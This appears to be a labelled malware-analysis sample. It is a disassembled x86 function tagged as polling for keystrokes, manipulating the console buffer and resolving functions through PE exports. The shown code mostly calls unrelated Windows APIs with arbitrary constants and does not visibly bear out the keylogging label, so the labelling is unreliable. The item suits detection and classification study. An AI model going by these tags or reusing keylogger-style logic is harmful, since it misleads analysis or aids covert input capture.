Function at 0x10001154
Capabilities:
Log keystrokes via polling
Manipulate console buffer
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0xd8
lea eax, [esp + 0x9c]
lea ecx, [esp + 0xb4]
mov edx, esp
lea esi, [esp + 0xc0]
mov dword [edx], esi
mov dword [edx + 0x10], 0x803
mov dword [edx + 0xc], 0xef0
mov dword [edx + 8], 0x803
mov dword [edx + 4], 0x803
mov edx, dword [sym.imp.USER32.dll_SetRect]
mov dword [esp + 0x98], ecx
mov dword [esp + 0x94], eax
call edx
sub esp, 0x14
mov ecx, esp
lea edx, [esp + 0xa0]
mov dword [ecx], edx
mov dword [ecx + 8], 0x5e4
mov dword [ecx + 4], 0xb73
mov ecx, dword [sym.imp.USER32.dll_AdjustWindowRect]
mov dword [esp + 0x90], eax
call ecx
sub esp, 0xc
mov ecx, esp
mov dword [ecx], 0xc16
mov ecx, dword [sym.imp.KERNEL32.dll_SetUserGeoID]
mov dword [esp + 0x8c], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx + 4], 0xccb
mov dword [ecx], 0x864
mov ecx, dword [sym.imp.KERNEL32.dll_SleepEx]
mov dword [esp + 0x88], eax
call ecx
sub esp, 8
mov ecx, esp
mov dword [ecx + 4], 0x69c
mov dword [ecx], 0x36b292
mov ecx, dword [sym.imp.GDI32.dll_SetBkMode]
mov dword [esp + 0x84], eax
call ecx
sub esp, 8
mov ecx, esp
mov dword [ecx + 4], 0x518857
mov dword [ecx], 0x518857
mov ecx, dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [esp + 0x80], eax
call ecx
sub esp, 8
xor ecx, ecx
lea edx, [esp + 0xb8]
mov dword [esp + 0x7c], eax
mov dword [esp + 0x78], edx
mov dword [esp + 0x74], ecx
jmp 0x1000136e
xor eax, eax
mov ecx, dword [sym.imp.ole32.dll_OleUninitialize]
mov dword [esp + 0x70], eax
call ecx
xor eax, eax
mov ecx, dword [esp + 0x6c]
sub ecx, 0xc
mov dword [esp + 0x68], eax
mov dword [esp + 0x64], ecx
je 0x1000131e
jmp 0x10001298
mov eax, dword [esp + 0x6c]
sub eax, 0x5b
mov ecx, dword [esp + 0x68]
mov dword [esp + 0x60], eax
mov dword [esp + 0x5c], ecx
je 0x1000142c
jmp 0x10001491
mov dword [esp + 0xb0], 0x1cd
mov eax, esp
lea ecx, [esp + 0xb0]
mov dword [eax + 0x10], ecx
mov ecx, dword [esp + 0x98]
mov edx, dword [ecx]
mov dword [eax + 0xc], edx
mov dword [eax + 8], 0xa65
mov dword [eax + 4], 0x58
mov dword [eax], 0x8e8434
mov eax, dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
call eax
sub esp, 0x14
mov dword [esp + 0x58], eax
mov eax, dword [esp + 0x54]
add eax, 1
cmp eax, 0xd4
mov dword [esp + 0x50], eax
je 0x10001271
jmp 0x100013b9
lea esp, [ebp - 4]
pop esi
pop ebp
ret
xor eax, eax
mov ecx, 6
mov edx, dword [esp + 0x78]
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 6
mov dword [esp + 0x4c], eax
mov dword [esp + 0x48], ecx
call fcn.10186fd0
mov eax, esp
lea ecx, [esp + 0xb8]
mov dword [eax], ecx
mov dword [eax + 4], 0x233
mov eax, dword [sym.imp.GDI32.dll_GetRasterizerCaps]
call eax
sub esp, 8
mov dword [esp + 0x44], eax
jmp 0x100014e7
mov eax, dword [esp + 0x74]
mov ecx, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x6c], eax
call ecx
mov ecx, esp
mov dword [ecx + 4], 0xce3531
mov dword [ecx], 0xef7837
mov ecx, dword [sym.imp.GDI32.dll_InvertRgn]
mov dword [esp + 0x40], eax
call ecx
sub esp, 8
mov ecx, esp
mov dword [ecx], 0x5443a3
mov ecx, dword [sym.imp.KERNEL32.dll_AddRefActCtx]
mov dword [esp + 0x3c], eax
call ecx
sub esp, 4
xor eax, eax
mov dword [esp + 0x50], eax
mov eax, dword [esp + 0x50]
mov ecx, 0x88888889
mov dword [esp + 0x54], eax
mul ecx
shr edx, 3
imul eax, edx, 0xf
mov ecx, dword [esp + 0x54]
sub ecx, eax
mov eax, ecx
sub eax, 0xb
mov dword [esp + 0x38], ecx
mov dword [esp + 0x34], eax
je 0x100012b6
jmp 0x100013e9
mov eax, dword [esp + 0x38]
sub eax, 1
mov dword [esp + 0x30], eax
jne 0x100012fb
jmp 0x100013fc
mov eax, esp
mov dword [eax + 0xc], str.g_wT_oHP_eud
mov dword [eax + 8], 0xf47
mov dword [eax + 4], 0x8ba
mov dword [eax], 0xd2e058
mov eax, dword [sym.imp.GDI32.dll_DrawEscape]
call eax
sub esp, 0x10
mov dword [esp + 0x2c], eax
jmp 0x100012b6
mov eax, dword [esp + 0x94]
mov ecx, dword [eax]
mov edx, esp
mov dword [edx + 4], ecx
mov dword [edx], 0xc02712
mov ecx, dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
call ecx
sub esp, 8
mov ecx, esp
mov dword [ecx + 8], 0x37f
mov dword [ecx + 4], 0xa40
mov dword [ecx], 0x78e
mov ecx, dword [sym.imp.USER32.dll_OpenInputDesktop]
mov dword [esp + 0x28], eax
call ecx
sub esp, 0xc
mov ecx, esp
mov dword [ecx], 0x58
mov ecx, dword [sym.imp.USER32.dll_VkKeyScanW]
mov dword [esp + 0x24], eax
call ecx
sub esp, 4
mov word [esp + 0x22], ax
jmp 0x1000131e
mov eax, dword [esp + 0x5c]
add eax, 1
mov dword [esp + 0xd0], 0xfc3
mov ecx, esp
lea edx, [esp + 0xd0]
mov dword [ecx + 0x10], edx
mov dword [ecx + 0xc], edx
mov dword [ecx + 8], edx
mov dword [ecx + 4], 0xfc3
mov dword [ecx], 0x30cfe0
mov ecx, dword [sym.imp.KERNEL32.dll_GetTapePosition]
mov dword [esp + 0x1c], eax
call ecx
sub esp, 0x14
mov ecx, dword [esp + 0x1c]
cmp ecx, 0xa
mov dword [esp + 0x18], eax
mov dword [esp + 0x5c], ecx
jne 0x10001491
mov eax, dword [esp + 0x6c]
add eax, 1
cmp eax, 0x6c
mov dword [esp + 0x74], eax
je 0x10001318
jmp 0x1000136e